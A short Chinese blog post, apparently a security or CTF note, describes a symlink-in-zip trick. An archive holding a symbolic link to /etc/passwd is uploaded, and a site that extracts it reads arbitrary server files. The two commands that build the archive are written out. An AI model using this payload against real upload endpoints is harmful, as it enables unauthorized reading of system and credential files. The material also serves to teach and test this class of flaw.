软链接导致任意文件读取

本文最后更新于 531 天前，其中的信息可能已经有所发展或是发生改变。

具体操作

压缩一个软链接，类似于windows下的快捷方式，然后网站后台会解压读取该软链接指向的服务器上的文件，就能达到读取任意文件的效果。

ln -s /etc/passwd passwd
zip -y passwd.zip passwd

这里我直接做好了这个zip passwd软链接zip下载

操作流程

浏览量: 819